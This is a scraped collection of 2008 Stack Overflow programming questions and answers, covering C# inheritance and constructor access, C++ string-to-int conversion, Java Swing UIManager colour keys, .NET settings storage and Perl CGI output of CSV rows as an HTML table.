protected static Bar CreateBarInstance()\n {\n return new Bar();\n }\n public virtual Bar CreateBar()\n {\n return CreateBarInstance();\n }\n}\n\npublic class Bar\n{\n internal Bar()\n {\n }\n}\n\npublic class Baz : Foo\n{\n public override Bar CreateBar()\n {\n Bar b = base.CreateBar();\n // manipulate the Bar in some fashion\n return b;\n }\n}\n</code></pre>\n\n<p>If you want to <em>guarantee</em> that the subclasses of Foo don't have access to Bar's constructor, put them in a different assembly. </p>\n\n<p>Now, to derive Bar from Foo, it's a simple change:</p>\n\n<pre><code>public class Bar : Foo\n{\n internal Bar()\n {\n }\n public override Bar CreateBar()\n {\n throw new InvalidOperationException(\"I'm sorry, Dave, I can't do that.\");\n }\n\n}\n</code></pre>\n\n<p>\"I don't want the constructor being public.\" Check.</p>\n\n<p>\"Only classes that inherit from Foo should be able to create Bars.\" Check.</p>\n\n<p>\"Any type of Foo should be able to create one.\" Check,</p>\n\n<p>\"Anyone who comes along later who wants to create their own type of Foo or Baz (which is likely to happen) will be stuck with a default CreateBar() implementation, which may or may not meet their needs.\" This is pretty highly dependent on what has to happen in the Foo.CreateBar() method, I think.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200079", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15537/" ]
Given the following inheritance tree, what would be the best way of implementing it in a way that works? ``` abstract class Foo<T> : IEnumerable<T> { public abstract Bar CreateBar(); } class Bar<T> : Foo<T> { // Bar's provide a proxy interface to Foo's and limit access nicely. // The general public shouldn't be making these though, they have access // via CreateBar() protected Bar(Foo base) { // snip... } } class Baz<T> : Foo<T> { public Bar CreateBar() { return new Bar(this); } } ``` This fails with: `'Bar.Bar()' is inaccessible due to its protection level`. I don't want the constructor being public, only classes that inherit from `Foo` should be able to create `Bar`s. `Bar` is a specialised `Foo`, and any type of `Foo` should be able to create one. Public internal is an 'option' here, as the majority of the predefined extensions to `Foo` will be internal to the DLL, but I consider this a sloppy answer, since anyone who comes along later who wants to create their own type of `Foo` or `Baz` (which is likely to happen) will be stuck with a default `CreateBar()` implementation, which may or may not meet their needs. Perhaps there is a way of refactoring this to make it work nicely? I'm banging my head on the wall trying to design this so it'll work though. **Edit (More info):** Slightly more concrete: Foo is implementing IEnumerable and long story short, Bar is providing the same interface, but to a limited subset of that enumerable object. All Foo's should be able to create subsets of themselves (ie. Bar) and return it. But I don't want to have everyone who ever wants to implement a Foo to have to worry about this, because Bar will do the proxying and worry about limiting the range, etc.
Okay, new answer: 1. Split Bar into an interface and a concrete class. 2. Express the public abstract method in terms of IBar. 3. Make Bar a private nested class in Foo, implementing IBar. Give it an internal constructor which you can call from Foo. 4. Write a protected method in Foo which creates an instance of Bar from itself. Classes deriving from Foo can use this to implement the abstract method if just proxying is good enough, and classes with more complicated needs can just implement IBar directly. You could even change the abstract method to a virtual one, and create a new Bar from "this" by default. EDIT: One variant on this would be to make Bar a *protected* nested class within Foo, with a public constructor. That way any derived class would be able to instantiate it for themselves, but no unrelated class would be able to "see" it at all. You'd still need to separate the interface from the implementation (so that the interface can be public) but I think that's a good thing anyway.
200,090
<blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="https://stackoverflow.com/questions/194465/how-to-parse-a-string-to-an-int-in-c">How to parse a string to an int in C++?</a> </p> </blockquote> <p>How do you convert a C++ string to an int?</p> <p>Assume you are expecting the string to have actual numbers in it ("1", "345", "38944", for example).</p> <p>Also, let's assume you don't have boost, and you really want to do it the C++ way, not the crufty old C way.</p>
[ { "answer_id": 200095, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 5, "selected": false, "text": "<p>Use the C++ streams.</p>\n\n<pre><code>std::string plop(\"123\");\nstd::stringstream str(plop);\nint x;\n\nstr &gt;&gt; x;\n\n/* Lets not forget to error checking */\nif (!str)\n{\n // The conversion failed.\n // Need to do something here.\n // Maybe throw an exception\n}\n</code></pre>\n\n<p>PS. This basic principle is how the boost library <code>lexical_cast&lt;&gt;</code> works.</p>\n\n<p>My favorite method is the boost <code>lexical_cast&lt;&gt;</code></p>\n\n<pre><code>#include &lt;boost/lexical_cast.hpp&gt;\n\nint x = boost::lexical_cast&lt;int&gt;(\"123\");\n</code></pre>\n\n<p>It provides a method to convert between a string and number formats and back again. Underneath it uses a string stream so anything that can be marshaled into a stream and then un-marshaled from a stream (Take a look at the >> and &lt;&lt; operators).</p>\n" }, { "answer_id": 200099, "author": "Ramesh Soni", "author_id": 191, "author_profile": "https://Stackoverflow.com/users/191", "pm_score": 0, "selected": false, "text": "<p>Use <a href=\"http://www.cplusplus.com/reference/clibrary/cstdlib/atoi.html\" rel=\"nofollow noreferrer\">atoi</a></p>\n" }, { "answer_id": 200108, "author": "Randy Sugianto 'Yuku'", "author_id": 11238, "author_profile": "https://Stackoverflow.com/users/11238", "pm_score": 6, "selected": false, "text": "<pre><code>#include &lt;sstream&gt;\n\n// st is input string\nint result;\nstringstream(st) &gt;&gt; result;\n</code></pre>\n" }, { "answer_id": 200110, "author": "user27732", "author_id": 27732, "author_profile": "https://Stackoverflow.com/users/27732", "pm_score": -1, "selected": false, "text": "<p>in \"stdapi.h\"</p>\n\n<pre><code>StrToInt\n</code></pre>\n\n<p>This function tells you the result, and how many characters participated in the conversion.</p>\n" }, { "answer_id": 200116, "author": "ayaz", "author_id": 23191, "author_profile": "https://Stackoverflow.com/users/23191", "pm_score": 2, "selected": false, "text": "<p>I have used something like the following in C++ code before:</p>\n\n<pre><code>#include &lt;sstream&gt;\nint main()\n{\n char* str = \"1234\";\n std::stringstream s_str( str );\n int i;\n s_str &gt;&gt; i;\n}\n</code></pre>\n" }, { "answer_id": 200855, "author": "user12576", "author_id": 12576, "author_profile": "https://Stackoverflow.com/users/12576", "pm_score": 0, "selected": false, "text": "<p>Perhaps I am misunderstanding the question, by why exactly would you <em>not</em> want to use <strong>atoi</strong>? I see no point in reinventing the wheel.</p>\n\n<p>Am I just missing the point here?</p>\n" }, { "answer_id": 205701, "author": "Alessandro Jacopson", "author_id": 15485, "author_profile": "https://Stackoverflow.com/users/15485", "pm_score": 2, "selected": false, "text": "<p>C++ FAQ Lite</p>\n\n<p>[39.2] How do I convert a std::string to a number?</p>\n\n<p><a href=\"https://isocpp.org/wiki/faq/misc-technical-issues#convert-string-to-num\" rel=\"nofollow noreferrer\">https://isocpp.org/wiki/faq/misc-technical-issues#convert-string-to-num</a></p>\n" }, { "answer_id": 304018, "author": "Ryan Ginstrom", "author_id": 10658, "author_profile": "https://Stackoverflow.com/users/10658", "pm_score": 2, "selected": false, "text": "<p>Let me add my vote for boost::lexical_cast</p>\n\n<pre><code>#include &lt;boost/lexical_cast.hpp&gt;\n\nint val = boost::lexical_cast&lt;int&gt;(strval) ;\n</code></pre>\n\n<p>It throws <code>bad_lexical_cast</code> on error.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200090", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27729/" ]
> > **Possible Duplicate:** > > [How to parse a string to an int in C++?](https://stackoverflow.com/questions/194465/how-to-parse-a-string-to-an-int-in-c) > > > How do you convert a C++ string to an int? Assume you are expecting the string to have actual numbers in it ("1", "345", "38944", for example). Also, let's assume you don't have boost, and you really want to do it the C++ way, not the crufty old C way.
``` #include <sstream> // st is input string int result; stringstream(st) >> result; ```
200,106
<p>Ok so ive got a swing app going using the "System" look and feel. Now, I want to change the background colour of the main panels to black. Too easy right?</p> <pre><code>UIManager.put("Panel.background", Color.BLACK); </code></pre> <p>Well yeah, except now the controls in the app look stupid, because their 'shadows', for want of a better word, are graduated to fade towards the old system default colour(gross windows grey). So there are light grey 'corners' on all the controls, especially the tabs on JTabbedPane. I know it can be fixed, because if you change the windowsXP theme to one with a different default application colour, the controls take on this changed colour and their shadows 'fade' towards it.</p> <p>But I have no idea what UIManager key it is, or even if you can do it with UIManger.</p> <p>I dont really want to change the L&amp;F engine, because apart from this it looks good.</p>
[ { "answer_id": 200130, "author": "RodeoClown", "author_id": 943, "author_profile": "https://Stackoverflow.com/users/943", "pm_score": 1, "selected": false, "text": "<p>You can see what the default settings (and their keys) are by using UIManager.getDefaults();\nYou can then iterate over the resulting keySet (it is an instance of Map).</p>\n\n<p>So something like this will show all the default keys:</p>\n\n<pre><code>for (Object key: UIManager.getDefaults().keySet())\n{\n System.out.println(key);\n}\n</code></pre>\n" }, { "answer_id": 200145, "author": "RodeoClown", "author_id": 943, "author_profile": "https://Stackoverflow.com/users/943", "pm_score": 2, "selected": false, "text": "<p>You might try these:</p>\n\n<ul>\n<li>control </li>\n<li>controlDkShadow</li>\n<li>controlHighlight </li>\n<li>controlLtHighlight</li>\n<li>controlShadow</li>\n</ul>\n\n<p>(I just found them in this list: <a href=\"http://forums.sun.com/thread.jspa?threadID=183858&amp;forumID=57\" rel=\"nofollow noreferrer\">Swing [Archive] - UIManager: setting background and JScrollBar</a> )</p>\n" }, { "answer_id": 210058, "author": "Rastislav Komara", "author_id": 22068, "author_profile": "https://Stackoverflow.com/users/22068", "pm_score": 2, "selected": false, "text": "<p>In general this is a little bit tricky. It depends on exact LaF you are using. </p>\n\n<p>For example. JGoodies use own color scheme which redefine this stuff. </p>\n\n<p>In general the property names are composed like </p>\n\n<pre><code>COMPONENT_NAME_WITHOUT_J + '.' + PROPERTY. \n</code></pre>\n\n<p>Unfortunately, property names can be only obtained from implementation classes of LaF. These aren't shared or something. Each component has its own. Or better, it depends on laziness of author which pairs he used. In general. </p>\n\n<p>A lot of help makes redefine Panel.* and Button.<em>. A lot of components use Button.</em> properties. </p>\n\n<p>Try, play, win :). I wish you luck :). </p>\n\n<p>PS: It is a lot of properties to overwrite. But this is the way how LaFs works.</p>\n" }, { "answer_id": 4048199, "author": "Craigo", "author_id": 418057, "author_profile": "https://Stackoverflow.com/users/418057", "pm_score": 1, "selected": false, "text": "<p>Some controls like JButton need to have <code>setOpaque(false)</code> called to allow the new background colors to fade through.</p>\n" }, { "answer_id": 6053841, "author": "gtiwari333", "author_id": 607637, "author_profile": "https://Stackoverflow.com/users/607637", "pm_score": 1, "selected": false, "text": "<p>To list out all the possible options that we can set to UIManager to change LaF, run the code below ........ </p>\n\n<pre><code> import java.util.*;\n import javax.swing.UIManager;\n\n public class UIManager_All_Put_Options\n {\n public static void main (String[] args)\n {\n Hashtable properties = UIManager.getDefaults();\n Enumeration keys = properties.keys();\n\n while (keys.hasMoreElements()) {\n String key = (String) keys.nextElement();\n Object value = properties.get (key);\n System.out.printf(\"%-40s \\t %-200s \\n\", key,value);\n }\n }\n }\n</code></pre>\n\n<p>enjoy...</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200106", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16925/" ]
Ok so ive got a swing app going using the "System" look and feel. Now, I want to change the background colour of the main panels to black. Too easy right? ``` UIManager.put("Panel.background", Color.BLACK); ``` Well yeah, except now the controls in the app look stupid, because their 'shadows', for want of a better word, are graduated to fade towards the old system default colour(gross windows grey). So there are light grey 'corners' on all the controls, especially the tabs on JTabbedPane. I know it can be fixed, because if you change the windowsXP theme to one with a different default application colour, the controls take on this changed colour and their shadows 'fade' towards it. But I have no idea what UIManager key it is, or even if you can do it with UIManger. I dont really want to change the L&F engine, because apart from this it looks good.
You might try these: * control * controlDkShadow * controlHighlight * controlLtHighlight * controlShadow (I just found them in this list: [Swing [Archive] - UIManager: setting background and JScrollBar](http://forums.sun.com/thread.jspa?threadID=183858&forumID=57) )
200,124
<p>I created a way to dynamically add <code>SettingsProperty</code> to a .NET <code>app.config</code> file. It all works nicely, but when I am launching my app the next time I can only see the properties that are created in the designer. How can I load back the properties runtime?</p> <p>My code for creating the <code>SettingsProperty</code> looks like the following: </p> <pre><code>internal void CreateProperty&lt;T&gt;(string propertyName) { string providerName = "LocalFileSettingsProvider"; System.Configuration.SettingsAttributeDictionary attributes = new SettingsAttributeDictionary(); System.Configuration.UserScopedSettingAttribute attr = new UserScopedSettingAttribute(); attributes.Add(attr.TypeId, attr); System.Configuration.SettingsProperty prop; SettingsProvider provider = ApplicationEnvironment.GlobalSettings.Providers[providerName]; prop = new System.Configuration.SettingsProperty( propertyName, typeof(T), provider, false, default(T), System.Configuration.SettingsSerializeAs.String, attributes, false, false ); ApplicationEnvironment.GlobalSettings.Properties.Add(prop); ApplicationEnvironment.GlobalSettings.Reload(); } </code></pre> <p>When the next run I ask for the settings property I could not find any of the properties created previosuly. No matter if I call the <code>ApplicationEnvironment.GlobalSettings.Reload();</code> or not. </p>
[ { "answer_id": 200127, "author": "TheSoftwareJedi", "author_id": 18941, "author_profile": "https://Stackoverflow.com/users/18941", "pm_score": 7, "selected": true, "text": "<p>They are saved in the &lt;solutionname&gt;.suo file. SUO stands for Solution User Options, and should not be added to source control.</p>\n\n<p>No .vbproj.user files should be in source control either!</p>\n" }, { "answer_id": 35735168, "author": "Max", "author_id": 166132, "author_profile": "https://Stackoverflow.com/users/166132", "pm_score": 4, "selected": false, "text": "<p>Starting from Visual Studio 2015 CTP solution and project related files are stored in the .vs directory. The path to the suo file is .vs\\&lt;SolutionName&gt;\\v14\\.suo for Visual Studio 2015.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200124", "https://Stackoverflow.com", "https://Stackoverflow.com/users/260/" ]
I created a way to dynamically add `SettingsProperty` to a .NET `app.config` file. It all works nicely, but when I am launching my app the next time I can only see the properties that are created in the designer. How can I load back the properties runtime? My code for creating the `SettingsProperty` looks like the following: ``` internal void CreateProperty<T>(string propertyName) { string providerName = "LocalFileSettingsProvider"; System.Configuration.SettingsAttributeDictionary attributes = new SettingsAttributeDictionary(); System.Configuration.UserScopedSettingAttribute attr = new UserScopedSettingAttribute(); attributes.Add(attr.TypeId, attr); System.Configuration.SettingsProperty prop; SettingsProvider provider = ApplicationEnvironment.GlobalSettings.Providers[providerName]; prop = new System.Configuration.SettingsProperty( propertyName, typeof(T), provider, false, default(T), System.Configuration.SettingsSerializeAs.String, attributes, false, false ); ApplicationEnvironment.GlobalSettings.Properties.Add(prop); ApplicationEnvironment.GlobalSettings.Reload(); } ``` When the next run I ask for the settings property I could not find any of the properties created previosuly. No matter if I call the `ApplicationEnvironment.GlobalSettings.Reload();` or not.
They are saved in the <solutionname>.suo file. SUO stands for Solution User Options, and should not be added to source control. No .vbproj.user files should be in source control either!
200,140
<p>In my code, I want to view all data from a CSV in table form, but it only displays the last line. How about lines 1 and 2? Here's the data:</p> <pre><code>1,HF6,08-Oct-08,34:22:13,df,jhj,fh,fh,ffgh,gh,g,rt,ffgsaf,asdf,dd,yoawa,DWP,tester,Pattern 2,hf35,08-Oct-08,34:12:13,dg,jh,fh,fgh,fgh,gh,gfh,re,fsaf,asdf,dd,yokogawa,DWP,DWP,Pattern 3,hf35,08-Oct-08,31:22:03,dg,jh,fh,fgh,gh,gh,gh,rte,ffgsaf,asdf,dfffd,yokogawa,DWP,DWP,ghh </code></pre> <p>Here's the code:</p> <pre><code>#! /usr/bin/perl print "Content-type:text/html\r\n\r\n"; use CGI qw(:standard); use strict; use warnings; my $line; my $file; my ($f1,$f2,$f3,$f4,$f5,$f6,$f7,$f8,$f9,$f10,$f11,$f12,$f13,$f14,$f15,$f16,$f17,$f18,$f19); $file='MyFile.txt'; open(F,$file)||die("Could not open $file"); while ($line=&lt;F&gt;) { ($f1,$f2,$f3,$f4,$f5,$f6,$f7,$f8,$f9,$f10,$f11,$f12,$f13,$f14,$f15,$f16,$f17,$f18,$f19)= split ',',$line; } close(F); print "&lt;HTML&gt;"; print "&lt;head&gt;"; print "&lt;body bgcolor='#4682B4'&gt;"; print "&lt;title&gt;FUSION SHIFT REPORT&lt;/title&gt;"; print "&lt;div align='left'&gt;"; print "&lt;TABLE CELLPADDING='1' CELLSPACING='1' BORDER='1' bordercolor=black width='100%'&gt;"; print "&lt;TR&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;RECORD No.&lt;/td&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;TESTER No.&lt;/td&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;DATE&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;TIME&lt;/td&gt;"; print "&lt;td width='11%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;DEVICE NAME&lt;/td&gt;"; print "&lt;td bgcolor='#00ff00'&gt;&lt;font size='2'&gt;TEST PROGRAM&lt;/td&gt;"; print "&lt;td bgcolor='#00ff00'&gt;&lt;font size='2'&gt;DEVICE FAMILY&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;SMSLOT&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;DIE LOT&lt;/td&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;LOADBOARD&lt;/td&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;TESTER &lt;/td&gt;"; print "&lt;td width='12%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;SERIAL NUMBER&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;TESTER CONFIG&lt;/td&gt;"; print "&lt;td width='11%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;SMSLOT&lt;/td&gt;"; print "&lt;td bgcolor='#00ff00'&gt;&lt;font size='2'&gt;PACKAGE&lt;/td&gt;"; print "&lt;td bgcolor='#00ff00'&gt;&lt;font size='2'&gt;SOCKET&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;ROOT CAUSE 1&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;ROOT CAUSE 2&lt;/td&gt;"; print "&lt;td width='13%'bgcolor='#00ff00'&gt;&lt;font size='2'&gt;ROOT CAUSE 3&lt;/td&gt;"; print "&lt;/tr&gt;"; print "&lt;TR&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f1&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f2&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f3&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f4&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f5&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f6&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f7&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f8&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f9&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f10&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f11&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f12&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f13&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f14&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f15&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f16&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f17&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f18&lt;/TD&gt;"; print "&lt;TD bgcolor='#ADD8E6'&gt;&lt;font size='2'&gt;$f19&lt;/TD&gt;"; print "&lt;/tr&gt;"; print "&lt;/TABLE&gt;"; print "&lt;/body&gt;"; print "&lt;html&gt;"; </code></pre>
[ { "answer_id": 200175, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 3, "selected": false, "text": "<p>Allow me to demonstrate with a smaller example.</p>\n\n<pre><code>my $f;\nwhile ($line = &lt;F&gt;) {\n $f = $line;\n}\nprint $f;\n</code></pre>\n\n<p>The above code will read every line of the file F, assigning each line to the variable <code>$f</code>. Each time it assigns a new line, the previous line is overwritten. When it reaches the end of the file, it prints out the value of <code>$f</code> once.</p>\n\n<pre><code>my $f;\nwhile ($line = &lt;F&gt;) {\n $f = $line;\n print $f;\n}\n</code></pre>\n\n<p>The above code has the <code>print</code> inside the loop, so the <code>print</code> will run for each line of the input. You will want to make a similar modification to your code to get the output you expect.</p>\n" }, { "answer_id": 200181, "author": "Paul Dixon", "author_id": 6521, "author_profile": "https://Stackoverflow.com/users/6521", "pm_score": 4, "selected": false, "text": "<p>You need to output the table rows <em>inside</em> the while loop, as that's where you are reading the lines.</p>\n\n<p>So change the code so that it</p>\n\n<ul>\n<li>outputs table headers</li>\n<li>reads the file line by line outputting table rows</li>\n<li>outputs table footer</li>\n</ul>\n\n<p>Here's how your loop might look if a little simplified...</p>\n\n<pre><code>while ($line=&lt;F&gt;)\n{ \n print \"&lt;tr&gt;\";\n my @cells= split ',',$line;\n foreach my $cell (@cells)\n {\n print \"&lt;td&gt;$cell&lt;/td&gt;\";\n }\n print \"&lt;/tr&gt;\";\n}\n</code></pre>\n" }, { "answer_id": 201757, "author": "tsee", "author_id": 13164, "author_profile": "https://Stackoverflow.com/users/13164", "pm_score": 2, "selected": false, "text": "<p>The reason you were only seeing the last line was that you ran the print's after reading the entire file and discarding each line when the next was read.</p>\n\n<p>To be honest, there's various things wrong with that code. I'll mention a couple and address those in the code snippet below.</p>\n\n<ol>\n<li>Don't parse CSV data yourself (the split). Use <a href=\"http://search.cpan.org/perldoc?Text::CSV\" rel=\"nofollow noreferrer\">Text::CSV</a> or -- if you need better performance -- <a href=\"http://search.cpan.org/perldoc?Text::CSV_XS\" rel=\"nofollow noreferrer\">Text::CSV_XS</a>.</li>\n<li>Your HTML is invalid. You don't close all tags and in particular, title should be in head, but not body.</li>\n<li>You should use a templating module for inserting tabular data into a web page. Examples: <a href=\"http://search.cpan.org/perldoc?HTML::Template\" rel=\"nofollow noreferrer\">HTML::Template</a> or <a href=\"http://search.cpan.org/perldoc?Template\" rel=\"nofollow noreferrer\">Template Toolkit</a>.</li>\n<li>At the very least, use functions to abstract out the redundant code.</li>\n<li>Better yet, use the fact that the formatting of the data is also data. That's why it should be treated as such.</li>\n<li>If you ever find that you're declaring lots of variables with numbers attached (<code>$f1</code>,<code>$f2</code>,...), you really want an array: <code>@fields = split /,/, $line;</code></li>\n</ol>\n\n<hr>\n\n<pre><code>use strict;\nuse warnings;\nuse CGI qw();\nuse Text::CSV;\n\nmy $cgi = CGI-&gt;new();\nprint $cgi-&gt;header();\n\nmy $file ='MyFile.txt';\n\n# should really use a templating module from CPAN,\n# but let's take it step by step.\n# Any of the following would fit nicely:\n# - Template.pm (Template Toolkit)\n# - HTML::Template, etc.\nmy $startHtml = &lt;&lt;'HERE';\n&lt;html&gt;\n&lt;head&gt; &lt;title&gt;FUSION SHIFT REPORT&lt;/title&gt; &lt;/head&gt;\n&lt;body bgcolor=\"#4682B4\"&gt;\n&lt;div align=\"left\"&gt;\n&lt;table cellpadding=\"1\" cellspacing=\"1\" border=\"1\" bordercolor=\"black\" width=\"100%\"&gt;\nHERE\nmy $endHtml = &lt;&lt;'HERE';\n\n&lt;/table&gt;\n\n&lt;/body&gt;\n&lt;html&gt;\nHERE\n\nmy @columns = (\n { name =&gt; 'RECORD No.', width =&gt; 12 },\n { name =&gt; 'TESTER No.', width =&gt; 12 },\n { name =&gt; 'DATE', width =&gt; 12 },\n { name =&gt; 'TIME', width =&gt; 13 },\n { name =&gt; 'DEVICE NAME', width =&gt; 11 },\n { name =&gt; 'TEST PROGRAM' },\n { name =&gt; 'DEVICE FAMILY' },\n { name =&gt; 'SMSLOT', width =&gt; 13 },\n { name =&gt; 'DIE LOT', width =&gt; 13 },\n { name =&gt; 'LOADBOARD', width =&gt; 12 },\n { name =&gt; 'TESTER', width =&gt; 12 },\n { name =&gt; 'SERIAL NUMBER', width =&gt; 12 },\n { name =&gt; 'TESTER CONFIG', width =&gt; 13 },\n { name =&gt; 'SMSLOT', width =&gt; 11 },\n { name =&gt; 'PACKAGE' },\n { name =&gt; 'SOCKET' },\n { name =&gt; 'ROOT CAUSE 1', width =&gt; 13 },\n { name =&gt; 'ROOT CAUSE 2', width =&gt; 13 },\n { name =&gt; 'ROOT CAUSE 3', width =&gt; 13 },\n);\n\n\nmy $csv = Text::CSV-&gt;new();\nopen my $fh, '&lt;', $file\n or die \"Could not open file '$file': $!\"; # should generate a HTML error here\n\n# print header\nprint $startHtml;\nprint_table_header(\\@columns);\n\nwhile (defined(my $line = &lt;$fh&gt;)) {\n $csv-&gt;parse($line);\n # watch out: This may be \"tainted\" data!\n my @fields = $csv-&gt;fields();\n @fields = @fields[0..$#columns] if @fields &gt; @columns;\n print_table_line(\\@fields);\n}\n\nclose $fh;\n\nprint $endHtml;\n\n\n\n\nsub print_table_header {\n my $columns = shift;\n print \"&lt;tr&gt;\\n\";\n foreach my $column (@$columns) {\n my $widthStr = (defined($column-&gt;{width}) ? ' width=\"'.$column-&gt;{width}.'\"' : '');\n my $colName = $column-&gt;{name};\n print qq{&lt;td$widthStr bgcolor=\"#00FF00\"&gt;&lt;font size=\"2\"&gt;$colName&lt;/font&gt;&lt;/td&gt;\\n};\n }\n print \"&lt;/tr&gt;\\n\";\n}\n\nsub print_table_line {\n my $fields = shift;\n print \"&lt;tr&gt;\\n\";\n foreach my $field (@$fields) {\n print qq{&lt;td bgcolor=\\\"#ADD8E6\\\"&gt;&lt;font size=\"2\"&gt;$field&lt;/font&gt;&lt;/td&gt;\\n};\n }\n print \"&lt;/tr&gt;\\n\";\n}\n</code></pre>\n" }, { "answer_id": 201762, "author": "wfsp", "author_id": 20438, "author_profile": "https://Stackoverflow.com/users/20438", "pm_score": 4, "selected": true, "text": "<p>HTML::Template would make your life a lot easier. Here's my go with a cut-down template. </p>\n\n<pre><code>#!/usr/local/bin/perl\n\nuse strict;\nuse warnings;\n\nuse HTML::Template;\n\nmy @table;\nwhile (my $line = &lt;DATA&gt;){\n chomp $line;\n my @row = map{{cell =&gt; $_}} split(/,/, $line);\n push @table, {row =&gt; \\@row};\n}\n\nmy $tmpl = HTML::Template-&gt;new(scalarref =&gt; \\get_tmpl());\n$tmpl-&gt;param(table =&gt; \\@table);\nprint $tmpl-&gt;output;\n\nsub get_tmpl{\n return &lt;&lt;TMPL\n&lt;html&gt;\n&lt;TMPL_LOOP table&gt;\n&lt;tr&gt;\n&lt;TMPL_LOOP row&gt;\n&lt;td&gt;&lt;TMPL_VAR cell&gt;&lt;/td&gt;&lt;/TMPL_LOOP&gt;\n&lt;/tr&gt;&lt;/TMPL_LOOP&gt;\n&lt;/html&gt;\nTMPL\n}\n\n__DATA__\n1,HF6,08-Oct-08,34:22:13,df,jhj,fh,fh,ffgh,gh,g,rt,ffgsaf,asdf,dd,yoawa,DWP,tester,Pattern\n2,hf35,08-Oct-08,34:12:13,dg,jh,fh,fgh,fgh,gh,gfh,re,fsaf,asdf,dd,yokogawa,DWP,DWP,Pattern\n3,hf35,08-Oct-08,31:22:03,dg,jh,fh,fgh,gh,gh,gh,rte,ffgsaf,asdf,dfffd,yokogawa,DWP,DWP,ghh\n</code></pre>\n" }, { "answer_id": 203122, "author": "Andy Lester", "author_id": 8454, "author_profile": "https://Stackoverflow.com/users/8454", "pm_score": 0, "selected": false, "text": "<p>Please close your &lt;font&gt; tags. Just because the browser will handle their lack doesn't mean they're not valuable to include.</p>\n" }, { "answer_id": 203455, "author": "AmbroseChapel", "author_id": 242241, "author_profile": "https://Stackoverflow.com/users/242241", "pm_score": 3, "selected": false, "text": "<pre><code>$f1,$f2,$f3,$f4\n</code></pre>\n\n<p>Any time you see code like that alarm bells should go off. Use an array.</p>\n" }, { "answer_id": 16794967, "author": "Ashley Harris", "author_id": 2429051, "author_profile": "https://Stackoverflow.com/users/2429051", "pm_score": 0, "selected": false, "text": "<p>This isn't the most robust solution, matter of fact is has some pretty nasty failures if you have commas inside values, but it did the job for me:</p>\n\n<p>(CSV data is in a variable called $content)</p>\n\n<pre><code>$content =~ s#\\n#&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;#g;\n$content =~ s#,#&lt;/td&gt;&lt;td&gt;#g;\n$content = \"&lt;table&gt;&lt;tr&gt;&lt;td&gt;$content&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\";\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200140", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
